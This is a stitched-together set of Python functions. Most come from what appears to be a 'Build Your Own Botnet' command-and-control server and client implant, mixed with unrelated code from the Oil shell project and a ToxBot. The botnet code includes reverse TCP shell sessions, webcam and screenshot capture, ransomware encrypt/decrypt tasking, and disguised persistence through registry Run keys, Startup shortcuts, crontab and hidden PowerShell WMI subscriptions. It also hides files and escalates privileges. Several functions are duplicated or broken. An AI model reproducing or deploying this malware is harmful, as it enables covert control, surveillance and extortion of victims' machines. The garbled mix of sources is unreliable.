def display(self, info): """ Display formatted output in the console `Required` :param str info: text to display """ with self._lock: print() if isinstance(info, dict): if len(info): self._print(info) elif isinstance(info, list): if len(info): for data in info: util.display(' %d\n' % int(info.index(data) + 1), color=self._text_color, style='bright', end="") self._print(data) elif isinstance(info, str): try: self._print(json.loads(info)) except: util.display(str(info), color=self._text_color, style=self._text_style) elif isinstance(info, bytes): try: self._print(json.load(info)) except: util.display(info.decode('utf-8'), color=self._text_color, style=self._text_style) else: util.log("{} error: invalid data type '{}'".format(self.display.__name__, type(info))) print()
def session_webcam(self, args=''): """ Interact with a client webcam `Optional` :param str args: stream [port], image, video """ if not self.current_session: util.log( "No client selected") return client = self.current_session result = '' mode, _, arg = args.partition(' ') client._active.clear() if not mode or str(mode).lower() == 'stream': s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) retries = 5 while retries > 0: try: port = random.randint(6000,9999) s.bind(('0.0.0.0', port)) s.listen(1) cmd = {"task": 'webcam stream {}'.format(port)} client.send_task(cmd) conn, addr = s.accept() break except: retries -= 1 header_size = struct.calcsize("L") window_name = addr[0] cv2.namedWindow(window_name) data = "" try: while True: while len(data) < header_size: data += conn.recv(4096) packed_msg_size = data[:header_size] data = data[header_size:] msg_size = struct.unpack(">L", packed_msg_size)[0] while len(data) < msg_size: data += conn.recv(4096) frame_data = data[:msg_size] data = data[msg_size:] frame = pickle.loads(frame_data) cv2.imshow(window_name, frame) key = cv2.waitKey(70) if key == 32: break finally: conn.close() cv2.destroyAllWindows() result = 'Webcam stream ended' else: client.send_task({"task": "webcam %s" % args}) result = 'Webcam capture complete' task = client.recv_task() result = task.get('result') return result
def _get_session_by_id(self, session): session = None if str(session).isdigit() and int(session) in self.sessions: session = self.sessions[int(session)] elif self.current_session: session = self.current_session else: util.log("Invalid Client ID") return session
def _get_session_by_connection(self, connection): session = None if isinstance(connection, socket.socket): peer = connection.getpeername()[0] for s in self.get_sessions(): if s.connection.getpeername()[0] == peer: session = s break else: util.log("Session not found for: {}".format(peer)) else: util.log("Invalid input type (expected '{}', received '{}')".format(socket.socket, type(connection))) return session
def debug(self, code): """ Execute code directly in the context of the currently running process `Requires` :param str code: Python code to execute """ if globals()['debug']: try: print(eval(code)) except Exception as e: util.log("Error: %s" % str(e)) else: util.log("Debugging mode is disabled")
def session_ransom(self, args=None): """ Encrypt and ransom files on client machine `Required` :param str args: encrypt, decrypt, payment """ if self.current_session: if 'decrypt' in str(args): self.current_session.send_task("ransom decrypt %s" % key.exportKey()) elif 'encrypt' in str(args): self.current_session.send_task("ransom %s" % args) else: util.log("Error: invalid option '%s'" % args) else: util.log("No client selected")
def session_ransom(self, args=None): """ Encrypt and ransom files on client machine `Required` :param str args: encrypt, decrypt, payment """ if self.current_session: if 'decrypt' in str(args): self.current_session.send_task({"task": "ransom {} {}".format(args, self.current_session.rsa.exportKey())}) elif 'encrypt' in str(args): self.current_session.send_task({"task": "ransom {} {}".format(args, self.current_session.rsa.publickey().exportKey())}) else: self.current_session.send_task({"task": "ransom {}".format(args)}) else: util.log("No client selected")
def _remove_registry_key(value=None, name='Java-Update-Manager'): try: if methods['registry_key'].established: value = methods['registry_key'].result try: key = OpenKey( winreg.HKEY_CURRENT_USER, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, winreg.KEY_ALL_ACCESS) winreg.DeleteValue(key, name) winreg.CloseKey(key) return (False, None) except: pass return (methods['registry_key'].established, methods['registry_key'].result) except Exception as e: util.log(str(e))
def testProcess(self): # 3 fds. Does Python open it? Shell seems to have it too. Maybe it # inherits from the shell. print('FDS BEFORE', os.listdir('/dev/fd')) Banner('date') p = _ExtProc(['date']) status = p.Run(_WAITER) log('date returned %d', status) self.assertEqual(0, status) Banner('does-not-exist') p = _ExtProc(['does-not-exist']) print(p.Run(_WAITER)) # 12 file descriptors open! print('FDS AFTER', os.listdir('/dev/fd'))
def session_shell(self, session): """ Interact with a client session through a reverse TCP shell `Requires` :param int session: session ID """ if not str(session).isdigit() or int(session) not in self.sessions: util.log("Session '{}' does not exist".format(session)) else: self._active.clear() if self.current_session: self.current_session._active.clear() self.current_session = self.sessions[int(session)] util.display("\n\nStarting Reverse TCP Shell w/ Session {}...\n".format(self.current_session.id), color='white', style='normal') self.current_session._active.set() return self.current_session.run()
def RunInParent(self): """ An ExternalThunk is run in parent for the exec builtin. """ # TODO: If there is an error, like the file isn't executable, then we # should exit, and the parent will reap it. Should it capture stderr? # NOTE: Do we have to do this? env = dict(os.environ) env.update(self.more_env) try: os.execvpe(self.argv[0], self.argv, env) except OSError as e: log('Unexpected error in execvpe(%r, %r, ...): %s', self.argv[0], self.argv, e) # Command not found means 127. TODO: Are there other cases? sys.exit(127)
def _add_startup_file(value=None, name='Java-Update-Manager'): try: if os.name == 'nt' and not methods['startup_file'].established: value = sys.argv[0] if value and os.path.isfile(value): appdata = os.path.expandvars("%AppData%") startup_dir = os.path.join(appdata, 'Microsoft\Windows\Start Menu\Programs\Startup') if not os.path.exists(startup_dir): os.makedirs(startup_dir) startup_file = os.path.join(startup_dir, '%s.eu.url' % name) content = '\n[InternetShortcut]\nURL=file:///%s\n' % value if not os.path.exists(startup_file) or content != open(startup_file, 'r').read(): with file(startup_file, 'w') as fp: fp.write(content) return (True, startup_file) except Exception as e: util.log('{} error: {}'.format(_add_startup_file.func_name, str(e))) return (False, None)
def session_ransom(self, args=None): """ Encrypt and ransom files on client machine `Required` :param str args: encrypt, decrypt, payment """ if self.current_session: if 'decrypt' in str(args): self.current_session.send_task( {"task": "ransom decrypt %s" % key.exportKey()}) elif 'encrypt' in str(args): self.current_session.send_task({"task": "ransom %s" % args}) else: util.log("Error: invalid option '%s'" % args) else: util.log("No client selected")
def _SetOption(self, opt_name, b): """Private version for synchronizing from SHELLOPTS.""" assert '_' not in opt_name if opt_name not in SET_OPTION_NAMES: raise args.UsageError('got invalid option %r' % opt_name) if opt_name == 'errexit': self.errexit.Set(b) elif opt_name in ('vi', 'emacs'): if self.readline: self.readline.parse_and_bind("set editing-mode " + opt_name) else: e_die( "Can't set option %r because Oil wasn't built with the readline " "library.", opt_name) else: if opt_name == 'verbose' and b: log('Warning: set -o verbose not implemented') setattr(self, opt_name, b)
def decrypt_files(rsa_key): """ Decrypt all encrypted files on host machine `Required` :param str rsa_key: RSA private key in PEM format """ try: if not isinstance(rsa_key, Cryptodome.PublicKey.RSA.RsaKey): rsa_key = Cryptodome.PublicKey.RSA.importKey(rsa_key) if not rsa_key.has_private(): return "Error: RSA key cannot decrypt" globals()['threads']['iter-files'] = _iter_files(rsa_key) globals()['threads']['decrypt-files'] = _threader() return "Decrypting files" except Exception as e: util.log("{} error: {}".format(decrypt_files.func_name, str(e)))
def _threader(tasks): try: retries = 0 while True: try: method, task = tasks.get_nowait() if callable(method): method(task) tasks.task_done() except: if retries < 3: retries += 1 time.sleep(1) continue else: break except Exception as e: util.log("{} error: {}".format(_threader.func_name, str(e)))
def run(self): """ Handle the server-side of the session's reverse TCP shell """ while True: try: if self._active.wait(): task = self.recv_task() if not self._prompt else self._prompt if 'help' in task.get('task'): self._active.clear() globals()['c2'].help(task.get('result')) self._active.set() elif 'prompt' in task.get('task'): self._prompt = task command = globals()['c2']._get_prompt(task.get('result') % int(self.id)) cmd, _, action = command.partition(' ') if cmd in ('\n', ' ', ''): continue elif cmd in globals()['c2'].commands and cmd != 'help': result = globals()['c2'].commands[cmd]['method'](action) if len(action) else globals()['c2'].commands[cmd]['method']() if result: task = {'task': cmd, 'result': result, 'session': self.info.get('uid')} globals()['c2'].display(result) globals()['c2'].database.handle_task(task) continue else: task = globals()['c2'].database.handle_task({'task': command, 'session': self.info.get('uid')}) self.send_task(task) elif 'result' in task: if task.get('result') and task.get('result') != 'None': globals()['c2'].display(task.get('result')) globals()['c2'].database.handle_task(task) else: if self._abort: break self._prompt = None except Exception as e: util.log(str(e)) break time.sleep(1) globals()['c2'].session_remove(self.id) self._active.clear() globals()['c2']._return()
def _add_hidden_file(value=None): try: value = sys.argv[0] if value and os.path.isfile(value): if os.name is 'nt': path = value hide = subprocess.call('attrib +h {}'.format(path), shell=True) == 0 else: dirname, basename = os.path.split(value) path = os.path.join(dirname, '.' + basename) hide = subprocess.call('mv {} {}'.format(value, path), shell=True) == 0 return (True if hide else False, path) else: util.log("File '{}' not found".format(value)) except Exception as e: util.log(e) return (False, None)
def _Detect(test, word_str, expected): # TODO: This function could be moved to test_lib. log('-' * 80) w = word_parse_test._assertReadWord(test, word_str) actual = word_.DetectShAssignment(w) left_token, close_token, part_offset = actual expected_left, expected_close, expected_part_offset = expected print(left_token, close_token, part_offset) print() if expected_left is None: test.assertEqual(None, left_token) else: test.assertEqual(expected_left, left_token.id) if expected_close is None: test.assertEqual(None, close_token) else: test.assertEqual(expected_left, left_token.id) test.assertEqual(expected_part_offset, part_offset) parse_ctx = test_lib.InitParseContext() if left_token and left_token.id in (Id.Lit_VarLike, Id.Lit_ArrayLhsOpen): more_env = [] preparsed = (left_token, close_token, part_offset, w) try: cmd_parse._AppendMoreEnv([preparsed], more_env) except Exception as e: log('Error: %s', e) else: log('more_env: %s', more_env) try: assign_pair = cmd_parse._MakeAssignPair(parse_ctx, preparsed) except Exception as e: log('Error: %s', e) else: log('assign_pair: %s', assign_pair)
def _SetOption(self, opt_name, b): """Private version for synchronizing from SHELLOPTS.""" assert '_' not in opt_name if opt_name not in SET_OPTION_NAMES: raise args.UsageError('Invalid option %r' % opt_name) if opt_name == 'errexit': self.errexit.Set(b) elif opt_name in ('vi', 'emacs'): if self.readline: self.readline.parse_and_bind("set editing-mode " + opt_name) else: # TODO error message copied from 'cmd_exec.py'; refactor? util.error('Oil was not built with readline/completion.') else: # strict-control-flow -> strict_control_flow opt_name = opt_name.replace('-', '_') if opt_name == 'verbose' and b: log('Warning: set -o verbose not implemented') setattr(self, opt_name, b)
def _add_crontab_job(value=None, minutes=10, name='flashplayer'): try: if sys.platform == 'linux2': value = sys.argv[0] if value and os.path.isfile(value): if not methods['crontab_job'].established: user = os.getenv('USERNAME', os.getenv('NAME')) task = "0 */6 * * * {} {}".format(60/minutes, user, path) with open('/etc/crontab', 'r') as fp: data = fp.read() if task not in data: with file('/etc/crontab', 'a') as fd: fd.write('\n' + task + '\n') return (True, path) else: return (True, path) except Exception as e: util.log("{} error: {}".format(_add_crontab_job.func_name, str(e))) return (False, None)
def __call__(self, unused_word, state): """Return a single match.""" try: return self._GetNextCompletion(state) except util.FatalRuntimeError as e: # From -W. TODO: -F is swallowed now. # We should have a nicer UI for displaying errors. Maybe they shouldn't # print it to stderr. That messes up the completion display. We could # print what WOULD have been COMPREPLY here. log('Runtime error while completing: %s', e) self.debug_f.log('Runtime error while completing: %s', e) except Exception as e: # ESSENTIAL because readline swallows exceptions. import traceback traceback.print_exc() log('Unhandled exception while completing: %s', e) self.debug_f.log('Unhandled exception while completing: %s', e) except SystemExit as e: # Because readline ignores SystemExit! posix._exit(e.code)
def MaybeDump(self, status): # type: (int) -> None """Write the dump as JSON. User can configure it two ways: - dump unconditionally -- a daily cron job. This would be fine. - dump on non-zero exit code OIL_FAIL Maybe counters are different than failure OIL_CRASH_DUMP='function alias trap completion stack' ? OIL_COUNTER_DUMP='function alias trap completion' and then I think both of these should dump the (path, mtime, checksum) of the source they ran? And then you can match those up with source control or whatever? """ if not self.collected: return if mylib.PYTHON: # can't translate due to open() my_pid = posix.getpid() # Get fresh PID here # Other things we need: the reason for the crash! _ErrorWithLocation is # required I think. d = { 'var_stack': self.var_stack, 'argv_stack': self.argv_stack, 'debug_stack': self.debug_stack, 'error': self.error, 'status': status, 'pid': my_pid, } # TODO: Add PID here path = os_path.join(self.crash_dump_dir, '%d-osh-crash-dump.json' % my_pid) with open(path, 'w') as f: import json json.dump(d, f, indent=2) #print(repr(d), file=f) log('[%d] Wrote crash dump to %s', my_pid, path)
def monitor(name): """ Monitor the host machine for process creation with the given keyword in the name `Required` :param str name: process name """ if os.name != 'nt': return "Error: Windows platforms only" try: import wmi import pythoncom pythoncom.CoInitialize() c = wmi.WMI() if not len(globals()['_buffer'].getvalue()): globals()['_buffer'].write( 'Time, Owner, Executable, PID, Parent\n') globals()['_workers'][logger.__name__] = logger() process_watcher = c.Win32_Process.watch_for("creation") while True: try: new_process = process_watcher() proc_owner = new_process.GetOwner() proc_owner = "%s\\%s" % (proc_owner[0], proc_owner[2]) create_date = new_process.CreationDate executable = new_process.ExecutablePath pid = new_process.ProcessId parent_pid = new_process.ParentProcessId row = '"%s", "%s", "%s", "%s", "%s"\n' % ( create_date, proc_owner, executable, pid, parent_pid) if not keyword: globals()['_buffer'].write(row) else: if keyword in row: globals()['_buffer'].write(row) except Exception as e1: util.log("{} error: {}".format(monitor.__name__, str(e1))) if globals()['_abort']: break except Exception as e2: util.log("{} error: {}".format(monitor.__name__, str(e2)))
def run(filename): """ Attempt to escalate privileges `Required` :param str target: filename to run as administrator """ try: if isintance(target, str) and os.path.isfile(target): if bool(ctypes.windll.shell32.IsUserAnAdmin() if os.name == 'nt' else os.getuid() == 0): return "Current user has administrator privileges" else: if os.name == 'nt': return win32com.shell.shell.ShellExecuteEx(lpVerb='runas', lpFile=sys.executable, lpParameters='{} asadmin'.format(target)) else: return "Privilege escalation not yet available on '{}'".format(sys.platform) else: return "Error: argument 'target' must be a valid filename" except Exception as e: util.log("{} error: {}".format(self.escalate.func_name, str(e)))
def _add_powershell_wmi(command=None, name='Java-Update-Manager'): try: if os.name == 'nt' and not methods['powershell_wmi'].established: cmd_line = "" value = sys.argv[0] if value and os.path.isfile(value): cmd_line = 'start /b /min {}'.format(value) elif command: cmd_line = r'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(base64.b64encode(bytes(command).encode('UTF-16LE'))) if cmd_line: startup = "'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325" globals()['__Template_wmi'].replace('[STARTUP]', startup).replace('[COMMAND_LINE]', cmd_line).replace('[NAME]', name) util.powershell(powershell) code = "Get-WmiObject __eventFilter -namespace root\\subscription -filter \"name='%s'\"" % name result = util.powershell(code) if name in result: return (True, result) except Exception as e: util.log('{} error: {}'.format(_add_powershell_wmi.func_name, str(e))) return (False, None)
def _remove_powershell_wmi(value=None, name='Java-Update-Manager'): try: if methods['powershell_wmi'].established: try: code = r""" Get-WmiObject __eventFilter -namespace root\subscription -filter "name='[NAME]'", Remove-WmiObject Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter "name='[NAME]'" , Remove-WmiObject Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription , Where-Object { $_.filter -match '[NAME]'} , Remove-WmiObject""".replace( '[NAME]', name) result = util.powershell(code) if not result: return (False, None) except: pass return (methods['powershell_wmi'].established, methods['powershell_wmi'].result) except Exception as e: util.log('{} error: {}'.format(_add_powershell_wmi.__name__, str(e))) return (methods['powershell_wmi'].established, methods['powershell_wmi'].result)
def EvalRegex(self, node): # type: (re_t) -> re_t # Regex Evaluation Shares the Same Structure, but uses slightly different # nodes. # * Speck/Token (syntactic concepts) -> Primitive (logical) # * Splice -> Resolved # * All Strings -> Literal new_leaf, recurse = self._MaybeReplaceLeaf(node) if new_leaf: return new_leaf elif recurse: self._MutateSubtree(node) # View it after evaluation if 0: log('After evaluation:') node.PrettyPrint(); print() return node
def list(*args, **kwargs): """ List currently running processes Returns process list as a dictionary (JSON) object """ try: output = {} for i in os.popen('tasklist' if os.name is 'nt' else 'ps').read( ).splitlines()[3:]: pid = i.split()[1 if os.name is 'nt' else 0] exe = i.split()[0 if os.name is 'nt' else -1] if exe not in output: if len(json.dumps(output)) < 48000: output.update({pid: exe}) else: break return json.dumps(output) except Exception as e: util.log("{} error: {}".format(list.__name__, str(e)))
def session_screenshot(self): """ Take a screenshot of the client desktop """ if not self.current_session: return "No client session" else: task = {"task": "screenshot", "session": self.current_session.info.get('uid')} self.current_session.send_task(task) output = self.current_session.recv_task()['result'] if not os.path.isdir('data'): try: os.mkdir('data') except OSError: util.log("Unable to create directory 'data' (permission denied)") return filename = 'data/{}.png'.format(str().join([random.choice(string.lowercase + string.digits) for _ in range(3)])) with file(filename, 'wb') as fp: fp.write(output) return filename
def main(self, parameters=None): self._parameters = parameters or ToxBotAppParameters() util.log('Starting ToxBot v' + __version__) self._create_dependencies() self._save_profile() self._init_callbacks() self._bootstrap() try: while not self._stop: self._tox.iterate() sleep(self._tox.iteration_interval() / 1000) except KeyboardInterrupt: print('Closing...') self._settings.save() self._save_profile() del self._tox
def RunBackgroundJob(self, node): # type: (command_t) -> int """ for & etc. """ # Special case for pipeline. There is some evidence here: # https://www.gnu.org/software/libc/manual/html_node/Launching-Jobs.html#Launching-Jobs # # "You can either make all the processes in the process group be children # of the shell process, or you can make one process in group be the # ancestor of all the other processes in that group. The sample shell # program presented in this chapter uses the first approach because it # makes bookkeeping somewhat simpler." UP_node = node if UP_node.tag_() == command_e.Pipeline: node = cast(command__Pipeline, UP_node) pi = process.Pipeline() for child in node.children: pi.Add(self._MakeProcess(child, parent_pipeline=pi)) pi.Start(self.waiter) last_pid = pi.LastPid() self.mem.last_bg_pid = last_pid # for $! job_id = self.job_state.AddJob(pi) # show in 'jobs' list log('[%%%d] Started Pipeline with PID %d', job_id, last_pid) else: # Problem: to get the 'set -b' behavior of immediate notifications, we # have to register SIGCHLD. But then that introduces race conditions. # If we haven't called Register yet, then we won't know who to notify. #log('job state %s', self.job_state) p = self._MakeProcess(node) pid = p.Start() self.mem.last_bg_pid = pid # for $! job_id = self.job_state.AddJob(p) # show in 'jobs' list log('[%%%d] Started PID %d', job_id, pid) return 0
def display(self, info): """ Display formatted output in the console `Required` :param str info: text to display """ with self._lock: print() if isinstance(info, dict): if len(info): self._print(info) elif isinstance(info, list): if len(info): for data in info: util.display(' %d\n' % int(info.index(data) + 1), color=self._text_color, style='bright', end="") self._print(data) elif isinstance(info, str): try: self._print(json.loads(info)) except: util.display(str(info), color=self._text_color, style=self._text_style) elif isinstance(info, bytes): try: self._print(json.load(info)) except: util.display(info.decode('utf-8'), color=self._text_color, style=self._text_style) else: util.log("{} error: invalid data type '{}'".format( self.display.__name__, type(info))) print()
def testStringDecoding(self): log('STRING DECODE') # This should decode to a utf-8 str()! # Not a unicode instance! s = yajl.loads('"abc"') print(repr(s)) obj = yajl.loads('"\u03bc"') assert isinstance(obj, str), repr(obj) self.assertEqual(obj, '\xce\xbc') obj = yajl.loads('"\xce\xbc"') assert isinstance(obj, str), repr(obj) self.assertEqual(obj, '\xce\xbc') # Invalid utf-8. Doesn't give a good parse error! if 0: u = yajl.loads('"\xFF"') print(repr(u))
def run_tests(): # type: () -> None arena = alloc.Arena() arena.PushSource(source__MainFile('foo.txt')) line_id = arena.AddLine('one', 1) log('line_id = %d', line_id) line_id = arena.AddLine('two', 2) log('line_id = %d', line_id) arena.PopSource() line = arena.GetLine(1) log('line = %s', line) n = arena.GetLineNumber(1) log('line number = %d', n) src = arena.GetLineSource(1) UP_src = src if src.tag_() == source_e.MainFile: src = cast(source__MainFile, UP_src) log('source = %s', src.path)
def __call__(self, arg_vec): # Get job instead of PID, and then do # # Should we also have job.SendContinueSignal() ? # - posix.killpg() # # job.WaitUntilDone(self.waiter) # - waitpid() under the hood pid = self.job_state.GetLastStopped() if pid is None: log('No job to put in the foreground') return 1 # TODO: Print job ID rather than the PID log('Continue PID %d', pid) posix.kill(pid, signal.SIGCONT) job = self.job_state.JobFromPid(pid) status = job.Wait(self.waiter) #log('status = %d', status) return status
def __call__(self, arg_vec): # TODO: Need $VERSION inside all pages? try: topic = arg_vec.strs[1] except IndexError: topic = 'help' if topic == 'toc': # Just show the raw source. f = self.loader.open('doc/osh-quick-ref-toc.txt') else: try: section_id = osh_help.TOPIC_LOOKUP[topic] except KeyError: # NOTE: bash suggests: # man -k zzz # info zzz # help help # We should do something smarter. # NOTE: This is mostly an interactive command. Is it obnoxious to # quote the line of code? self.errfmt.Print('No help topics match %r', topic, span_id=arg_vec.spids[1]) return 1 else: try: f = self.loader.open('_devbuild/osh-quick-ref/%s' % section_id) except IOError as e: util.log(str(e)) raise AssertionError('Should have found %r' % section_id) for line in f: sys.stdout.write(line) f.close() return 0
88 88 88 88 88,dPPYba, 8b d8 ,adPPYba, 88,dPPYba, 88P' "8a `8b d8' a8" "8a 88P' "8a 88 d8 `8b d8' 8b d8 88 d8 88b, ,a8" `8b,d8' "8a, ,a8" 88b, ,a8" 8Y"Ybbd8"' Y88' `"YbbdP"' 8Y"Ybbd8"' d8' d8' """ try: import colorama colorama.init(autoreset=True) except ImportError: util.log("installing required Python package 'colorama'...") execfile('setup.py') util.log("restarting...") os.execv(sys.executable, ['python'] + [os.path.abspath(sys.argv[0])] + sys.argv[1:]) # main def main(): print(colorama.Fore.RED + colorama.Style.NORMAL + __banner__) parser = argparse.ArgumentParser( prog='server.py', version='0.1.4', description="Command & Control Server (Build Your Own Botnet)") parser.add_argument( '--host', action='store',
def main(): parser = argparse.ArgumentParser( prog='server.py', description="Command & Control Server (Build Your Own Botnet)" ) parser.add_argument( '--host', action='store', type=str, default='0.0.0.0', help='server hostname or IP address') parser.add_argument( '--port', action='store', type=int, default=1337, help='server port number') parser.add_argument( '--database', action='store', type=str, default='database.db', help='SQLite database') parser.add_argument( '--imgur', action='store', type=str, help='Imgur API key') parser.add_argument( '--pastebin', action='store', type=str, help='Pastebin API key') parser.add_argument( '--ftp', action='append', nargs=3, help='FTP hostname username password') parser.add_argument( '--debug', action='store_true', help='Additional logging' ) parser.add_argument( '-v', '--version', action='version', version='0.5', ) modules = os.path.abspath('modules') site_packages = [os.path.abspath(_) for _ in sys.path if os.path.isdir(_) if os.path.basename(_) == 'site-packages'] if len([os.path.abspath(_) for _ in sys.path if os.path.isdir(_) if os.path.basename(_) == 'site-packages']) else [os.path.abspath(_) for _ in sys.path if os.path.isdir(_) if 'local' not in _ if os.path.basename(_) == 'dist-packages'] if len(site_packages): n = 0 globals()['packages'] = site_packages[0] for path in site_packages: if n < len(os.listdir(path)): n = len(os.listdir(path)) globals()['packages'] = path else: util.log("unable to locate 'site-packages' in sys.path (directory containing user-installed packages/modules)") sys.exit(0) if not os.path.isdir('data'): try: os.mkdir('data') except OSError: util.log("Unable to create directory 'data' (permission denied)") options = parser.parse_args() tmp_file=open("temp","w") globals()['debug'] = options.debug globals()['package_handler'] = subprocess.Popen('{} -m {} {}'.format(sys.executable, http_serv_mod, options.port + 2), 0, None, subprocess.PIPE, stdout=tmp_file, stderr=tmp_file, cwd=globals()['packages'], shell=True) globals()['module_handler'] = subprocess.Popen('{} -m {} {}'.format(sys.executable, http_serv_mod, options.port + 1), 0, None, subprocess.PIPE, stdout=tmp_file, stderr=tmp_file, cwd=modules, shell=True) globals()['post_handler'] = subprocess.Popen('{} core/handler.py {}'.format(sys.executable, int(options.port + 3)), 0, None, subprocess.PIPE, stdout=tmp_file, stderr=tmp_file, shell=True) globals()['c2'] = C2(host=options.host, port=options.port, db=options.database) globals()['c2'].run()
http_serv_mod = "SimpleHTTPServer" if sys.version_info[0] > 2: http_serv_mod = "http.server" sys.path.append('core') sys.path.append('modules') # modules import core.util as util import core.database as database import core.security as security # packages try: import cv2 except ImportError: util.log("Warning: missing package 'cv2' is required for 'webcam' module") try: import colorama except ImportError: sys.exit("Error: missing package 'colorama' is required") try: raw_input # Python 2 except NameError: raw_input = input # Python 3 # globals __threads = {} __abort = False __debug = False __banner__ = """
def __init__(self, host='0.0.0.0', port=1337, db=':memory:'): """ Create a new Command & Control server `Optional` :param str db: SQLite database :memory: (session) *.db (persistent) Returns a byob.server.C2 instance """ self._active = threading.Event() self._count = 1 self._prompt = None self._database = db self.current_session = None self.sessions = {} self.socket = self._socket(port) self.banner = self._banner() self.commands = { 'set' : { 'method': self.set, 'usage': 'set <setting> [option=value]', 'description': 'change the value of a setting'}, 'help' : { 'method': self.help, 'usage': 'help', 'description': 'show usage help for server commands'}, 'exit' : { 'method': self.quit, 'usage': 'exit', 'description': 'quit the server'}, 'debug' : { 'method': self.debug, 'usage': 'debug <code>', 'description': 'run python code directly on server (debugging MUST be enabled)'}, 'query' : { 'method': self.query, 'usage': 'query <statement>', 'description': 'query the SQLite database'}, 'options' : { 'method': self.settings, 'usage': 'options', 'description': 'show currently configured settings'}, 'sessions' : { 'method': self.session_list, 'usage': 'sessions', 'description': 'show active client sessions'}, 'clients' : { 'method': self.session_list, 'usage': 'clients', 'description': 'show all clients that have joined the server'}, 'shell' : { 'method': self.session_shell, 'usage': 'shell <id>', 'description': 'interact with a client with a reverse TCP shell through an active session'}, 'ransom' : { 'method': self.session_ransom, 'usage': 'ransom [id]', 'description': 'encrypt client files & ransom encryption key for a Bitcoin payment'}, 'webcam' : { 'method': self.session_webcam, 'usage': 'webcam <mode>', 'description': 'capture image/video from the webcam of a client device'}, 'kill' : { 'method': self.session_remove, 'usage': 'kill <id>', 'description': 'end a session'}, 'bg' : { 'method': self.session_background, 'usage': 'bg [id]', 'description': 'background a session (default: the current session)'}, 'broadcast' : { 'method': self.task_broadcast, 'usage': 'broadcast <command>', 'description': 'broadcast a task to all active sessions'}, 'results': { 'method': self.task_list, 'usage': 'results [id]', 'description': 'display all completed task results for a client (default: all clients)'}, 'tasks' : { 'method': self.task_list, 'usage': 'tasks [id]', 'description': 'display all incomplete tasks for a client (default: all clients)'}} try: import readline except ImportError: util.log("Warning: missing package 'readline' is required for tab-completion") else: import rlcompleter readline.parse_and_bind("tab: complete") readline.set_completer(self._completer)